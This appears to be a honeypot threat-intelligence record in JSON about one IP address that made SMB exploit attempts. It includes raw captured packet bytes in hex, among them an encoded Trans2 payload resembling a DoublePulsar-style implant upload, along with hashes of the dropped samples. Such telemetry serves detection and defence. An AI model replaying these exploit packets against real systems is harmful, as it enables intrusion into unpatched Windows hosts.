{"ip":"77.232.165.27","data_as_of":"2026-10-26T21:48:16+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 interactive session(s) carried an exploit attempt","confidence":"high","network_type":null,"why":["4 interactive session(s) carried an exploit attempt.","Under 5 sessions, so confidence is medium.","Not in any known-scanner range.","Sent 19,881 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"19,881 bytes sent","bytes_sent":19881,"session_seconds":32,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-18T15:33:26","last_seen":"2026-10-18T15:34:08","events_24h":0,"events_7d":0,"interactive_sessions":5,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"smb","sessions":5}],"geo":{"country_code":"RU","country_name":"Russia","region":"","city":"","lat":null,"lon":null,"asn":44391,"org":"JSC Elektrosvyaz"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":5,"first_seen":"2026-10-18T15:33:26","last_seen":"2026-10-18T15:34:08","verdicts":[{"verdict":"exploit-attempt","sessions":4},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"smb@Windows Server 2016","sessions":5}],"services":[{"protocol":"smb","port":445,"sessions":5}],"logins":[],"commands":[],"downloads":[],"files":[{"sha256":"e7a670f76ad1752579b1fb6f8504655b8bea84563c5ef9f33e2f5108ac0589b0","name":"doublepulsar-payload-partial.dll","size":10240,"mime_type":"application/x-dosexec","kind":"sample","times":1,"first_seen":"2026-10-18T15:34:07","last_seen":"2026-10-18T15:34:07","virustotal":{"sha256":"e7a670f76ad1752579b1fb6f8504655b8bea84563c5ef9f33e2f5108ac0589b0","status":"known","malicious":34,"total":75,"name":"bl4li.exe"}},{"sha256":"ef4d8d66ec7b6fd6bd2ef9e77b7f86a1e31b66d4b267924be2a0636ea9357580","name":"doublepulsar-payload-partial.bin","size":16384,"mime_type":"application/octet-stream","kind":"sample","times":1,"first_seen":"2026-10-18T15:34:07","last_seen":"2026-10-18T15:34:07","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":4},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":4},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":4}]},"top_ports":[{"port":445,"proto":"tcp","label":"SMB","count":0,"sessions":5}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-18","count":0,"sessions":5}],"recent_events":[{"timestamp":"2026-10-18T15:34:07","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0010N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bB\u0000\u000f\f\u0000\u0000\u0010\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000%�\u001a\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0010N\u0000\u0001\u0000\u000e\u0000\r\u0010\u00003�@:3\"\u0010:3r\u0010:�w\u001c��{��z��2\b�l�v��s��X�\u000e1�:3z�\u0006\b�d+{�,\u0001�F\u001a�\t\u0018�ڷ\u0010:3s�~\u0017��~\b:��������\u000b������\u001f~��\u0005�o2\u0010r��X���dw{��N{z���'�f32��G\t\u001f��z�\u0016\b��8F5�v\b:P�9��9F7�v\b:\u0018r�~+*��\u001f:3�\u0005Ko2\u0010��=������w\t\u001c�>�\\\u0001;rX�7\t����X��jQ��z��;3\u0010:<�X��͛7\u0003�\u0010:�'6f32#���\u001e�2\u0010:z�K\u001az�{\u0012z�k\nz��{msM{o���{�L\u001e;z�N\u0017\"Gr��0r�/\u001e�32�z32\u0010r�\tX��F'r��\u0010132�'�M\u001c:G8X�|\"�/�i\u0010:{�\u0013r��Hr62\u001b:3z+�A�X�8�v���X�\u00102X��:X��G�r�n4\n{�d\u001e\u000bz��\u0013m��{�L\u001e;z�V\u0017\"X�G\u0016\bm{��\n�\u000f��32\u0010O6�\u0006'32X�.-�:3\u0001�r��e!���Ӈ2\u0010:\u000f\u000fd8��X����\u001932X�o1\u0011�0��OԿW;�:\u0010:3zs�ە���z��{�\u0015'�2\u0010r��d�{�\r��2\u0010�\b2dj{��ҟ\u0011\u0010:�\t-�C3d\u0014{Q��22\u0010:{���_���{�\u0017r��dI��r��X���F\u000b32��FyX��:XY�z\u0013��\t\u0010O�z�'O�\u0010:{���G���{�5V�2\u0010:{�7:�7օ32\u0011:32#�{�L\u001esz�V\u0017zX�G\u0016@r�� e�z�^\u0017\u0012\u0010\u0000�U\t�\u0001�\t��\u001e����r�?z�32�\u001f���r�\u0017M�32\u0010�3���{��r�j\u0018r�Z\u0000r�B\br�J0{gsE{ez��\u0013~�V\u0017R]��{��r�u:3~��{��{�3\u0011:32X��F\u0017v�0Y��:#׳\t2O\"\u0001п�r�\u0018<��r�����\u000bQ�v2X��F\u0017�0�\u0017r��\u001f�\u0000z�����\u0007\u00022\u0010��F\u0003{�w\u0010r��d=�1�={��r��P��F\u000b��G�z��0N5r��:G�r��d3�u�:�1X��\u0001��\b2\u001f��2\u0010:�\t0N6�+3F7X�����\b2\u001f��2\u0010:~��N;{�\u0006\u0017{��;s�<�3\u0010:3\u0001��6z�����\u0001oF��\b\u0010e\f��e'��d4{�S;�\n2O6z���9#�\u0000���<�б����\"��r��d<�5Lr��Q�v2��Fٚ9��du��e2\u000f\u0012d}\u000f;dy��d\r<���S\u0002\u0010:{��N(��N=�\u0013r���={��{�w\u0010�0�\u0017r���1��d={��{�w\u0010{�w\u0010r���c���r��d<�5\u0010r��Q�v2�.���w��d?z�4\u001e3s�<{�L\u001esz�V\u0017zX�G\u0016@r�N4b{��\u001arlQgrn��{�L\u001e+z�N\u0017\u0012Gr�� �\u000e��:32e?�)\n:3z�\u0007��\u0010:r�\u0014;32#�{���6��:32�/�j\u0010:{�\r��2\u0010r�\u000fN�32X��F\u0015�\b2e9{��r�v4r�\\\u001esw#�\u0000�X��z�~\u0017\u0012�����rPF4z{��������-X\u0001�ALrP~4r{���@cX�'�X\u0001�@Xr�������r��X��F(v�6�r�v4r�\\\u001esz��{��r�v4\u001a�U���v�f\u0017rX�\u000e��:3s��\u0000�T�.�","payload_hex":"0000104eff534d4232000000001807c00000000000000000000000000108fffe000842000f0c000010010000000000000025891a0000000c00420000104e0001000e000d100033c2403a3322103a3372103acc771cc5f47befff7ab1d43208c96cbe76b9f673b8ec58b10e31d03a337a930608cd642b7bb12c01cd461aba7f0918badab7103a33739d7e17cdd67e083a91cdeb8ae6c5cccd0bf3b0f3e57fb6d61f7efbcd058b6f321072b8da58b9cbcd64777bb7d04e7b7a9bf2cc27ba66333295fa47091f8cf37a991608b1e83846359076083a50d139b1e83946379076083a1872be7e2b2a89921f3a33cd054b6f3210bff33d94f8cecdefc577091cd13eb25c013b7258fd3709eec5cccd58b9f06a51c5f77a91c13b33103a3cbe58c5cccd9b37038d103acc273666333223fa7fbf8c1ea332103a7ab94b1a7ab97b127ab96b0a7ab9f37b6d734d7b6ff1dcf67bbb4c1e3b7a994e17224772b0de3072be2f1e853332ae7a33321072b80958bfcc462772beb510313332fb27b04d1c3a473858b77c22ef2fc369103a7bb91372b0f5487236321b3a337a2bc241ec58b138da76cdcccd58b9103258b9f03a58c5fd47a872b86e340a7bb9641e0b7a93fe136dd3f67bbb4c1e3b7a9956172258b34716086d7bb1fc0ab00fbdfa3332104f36da0627333258b12e2d8e3a3301ef72b6e96521b0faefd38732103a0f0f6438ccf558b1f8dafa19333258b76f3111b030b6d04fd4bf573b893a103a337a73f2db95e7c5cc7a9bc27bbb1527ad321072b6f264fa7bb90debae3210ba0832646a7bb9dbd29f11103ab3092db7433364147b51fe803232103a7bb9ddd25fc5efc57bbb1772b6f264497fb9d372b8e758b1fbda460b333295fa467958b9f43a5859f57a13e2b309104f847a9b274faf103a7bb9dbd247c4efc57bb13556ae32103a7bb1373af437d6853332113a333223fa7bb94c1e737a9b56177a58b147164072b0f62065f07a935e1712107f00fb5509f301c209fada1ed5cccddc72b83f7aa73332f81fc5cdef72b0174da7333210d333cdefc57bb9d472ba6a1872ba5a0072ba420872ba4a307b6773457b657a93d6137e9b5617525db1c27b9bc272b1753a337e9bd87bb9c97bf433113a333258bfe1461776ba3059b9f73a23d7b309324f2201d0bfde72a6183ca6d072ccf19bd2d80b51c5763258bfcc4617b030ba1772ccf51f8c007aeff9b8fcf807023210bff346037bcc771072b6cd643db931983d7bcdd772ccf150bec5460bbfde47bd7ab3cc304e357290c43a47b172b6cd6433f575ef3ad83158c5f801e6ba08321fbed032103ab309304e36b22b33463758c5f0d9e1ba08321fbef832103a7eb7f44e3b7b9906177b93fe3b73ef3c8933103a3301d9d1367aeff9ccf390016f46e6ba0810650cb7f86527b6c464347bbf533bb30a324f367a9be2d83923fa00e095cc3ca6d0b1c3e3f9d122cdd972b6cd643cf5354c72ccf551c5763295f346d99a39b7f26475b6c465320f12647d0f3b6479b6e0640d3c8cd8d25302103a7bb7ef4e28b7d04e3db81372ccf1983d7bcdd77bcc7710b030ba1772ccf5fb31b6f2643d7bcdd37bcc77107bcc771072ccf1f963cccdef72b6cd643cf5351072ccf551c57632f92ecccdef77b6d6643f7ab1341e3373ef3c7bb94c1e737a9b56177a58b147164072b84e34627bb1d41a726c5167726ed3f67bbb4c1e2b7a994e17124772b0de20b90e80ad3a3332653fdb290a3a337a9d079fa9103a728a143b333223f37bb9c7fc36ac8c3a3332ef2fb76a103a7bb90d9f8e321072ba0f4ea1333258bfe84615ba083265397bb9cf72be7634727fbf5c1e737723fa00e058b1f87a997e1712f887cecdef725046347a7b8befc5cccdefc5cc2d5801c2414c72507e34727bb1e9c5406358b727c35801e2405872b8f8f8dfc0cdef72b8ca58bff3462876be36e072be7634727fbf5c1e737a9bed7bb9db72ba76341adb55edc5cc769b66177258b30e918a3a3373eff100f254b32ea1","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"95ea09d48814ccfb","strings":["SMB2","@:3\"","'6f32#","{msM{o",":G8X","Hr62",":3z+","'32X",":3zs","2dj{"]},"interactive":true},{"timestamp":"2026-10-18T15:33:37","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0010N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bB\u0000\u000f\f\u0000\u0000\u0010\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000%�\u001a\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0010N\u0000\u0001","payload_hex":"0000104eff534d4232000000001807c00000000000000000000000000108fffe000842000f0c000010010000000000000025891a0000000c00420000104e0001","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"04dcf44ebb7fd9ba","strings":["SMB2"]},"interactive":true},{"timestamp":"2026-10-18T15:33:37","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0010N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bB\u0000\u000f\f\u0000\u0000\u0010\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000%�\u001a\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0010N\u0000\u0001","payload_hex":"0000104eff534d4232000000001807c00000000000000000000000000108fffe000842000f0c000010010000000000000025891a0000000c00420000104e0001","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"04dcf44ebb7fd9ba","strings":["SMB2"]},"interactive":true},{"timestamp":"2026-10-18T15:33:37","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0010N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bB\u0000\u000f\f\u0000\u0000\u0010\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000%�\u001a\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0010N\u0000\u0001","payload_hex":"0000104eff534d4232000000001807c00000000000000000000000000108fffe000842000f0c000010010000000000000025891a0000000c00420000104e0001","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"04dcf44ebb7fd9ba","strings":["SMB2"]},"interactive":true},{"timestamp":"2026-10-18T15:33:37","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0010N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bB\u0000\u000f\f\u0000\u0000\u0010\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000%�\u001a\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0010N\u0000\u0001","payload_hex":"0000104eff534d4232000000001807c00000000000000000000000000108fffe000842000f0c000010010000000000000025891a0000000c00420000104e0001","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"04dcf44ebb7fd9ba","strings":["SMB2"]},"interactive":true},{"timestamp":"2026-10-18T15:33:36","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smbv1","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bA\u0000\u000f\f\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00014�\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0000N\u0000\u0001\u0000\u000e\u0000\r\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000","payload_hex":"0000004eff534d4232000000001807c00000000000000000000000000108fffe000841000f0c00000001000000000000000134ee0000000c00420000004e0001000e000d0000000000000000000000000000","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"85af7a38a6c3450f","strings":["SMB2"]},"interactive":true},{"timestamp":"2026-10-18T15:33:36","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smbv1","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000\\�SMBu\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000��\u0000\b@\u0000\u0004�\u0000\\\u0000\b\u0000\u0001\u00001\u0000\u0000\\\u0000\\\u00001\u00009\u00002\u0000.\u00001\u00006\u00008\u0000.\u00005\u00006\u0000.\u00002\u00000\u0000\\\u0000I\u0000P\u0000C\u0000$\u0000\u0000\u0000?????\u0000","payload_hex":"0000005cff534d4275000000001807c00000000000000000000000000000fffe0008400004ff005c00080001003100005c005c003100390032002e003100360038002e00350036002e00320030005c00490050004300240000003f3f3f3f3f00","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"66d478ffe6a01a34","strings":["SMBu","1\\\\192.168.56.20\\IPC$?????"],"iocs":{"ips":["192.168.56.20"]}},"interactive":true},{"timestamp":"2026-10-18T15:33:36","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smbv1","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000��SMBs\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000��\u0000\u0000@\u0000\r�\u0000�\u0000\u0004\u0011\n\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000K\u0000\u0000\u0000\u0000\u0000\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000 \u00002\u00000\u00000\u00000\u0000 \u00002\u00001\u00009\u00005\u0000\u0000\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000 \u00002\u00000\u00000\u00000\u0000 \u00005\u0000.\u00000\u0000\u0000\u0000","payload_hex":"00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ee47b9d34e56607b","strings":["SMBs","KWindows 2000 2195Windows 2000 5.0"]},"interactive":true},{"timestamp":"2026-10-18T15:33:35","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000��SMBr\u0000\u0000\u0000\u0000\u0018S�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000��\u0000\u0000@\u0000\u0000b\u0000\u0002PC NETWORK PROGRAM 1.0\u0000\u0002LANMAN1.0\u0000\u0002Windows for Workgroups 3.1a\u0000\u0002LM1.2X002\u0000\u0002LANMAN2.1\u0000\u0002NT LM 0.12\u0000","payload_hex":"00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200","method":"","user_agent":"","ja3":"","session":"c388558d-b51f-45ef-81cb-ada6acbe9f8a-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"bf5baf1504bec0a1","strings":["SMBr","PC NETWORK PROGRAM 1.0","LANMAN1.0","Windows for Workgroups 3.1a","LM1.2X002","LANMAN2.1","NT LM 0.12"]},"interactive":true},{"timestamp":"2026-10-18T15:33:35","port":445,"proto":"tcp","app_proto":"smb","app_protocol":"smbv1","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000N�SMB2\u0000\u0000\u0000\u0000\u0018\u0007�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\b��\u0000\bA\u0000\u000f\f\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00014�\u0000\u0000\u0000\f\u0000B\u0000\u0000\u0000N\u0000\u0001\u0000\u000e\u0000\r\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000","payload_hex":"0000004eff534d4232000000001807c00000000000000000000000000108fffe000841000f0c00000001000000000000000134ee0000000c00420000004e0001000e000d0000000000000000000000000000","method":"","user_agent":"","ja3":"","session":"cdd1624b-ee67-4042-9cfe-13fd15c7b387-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"85af7a38a6c3450f","strings":["SMB2"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":4}]}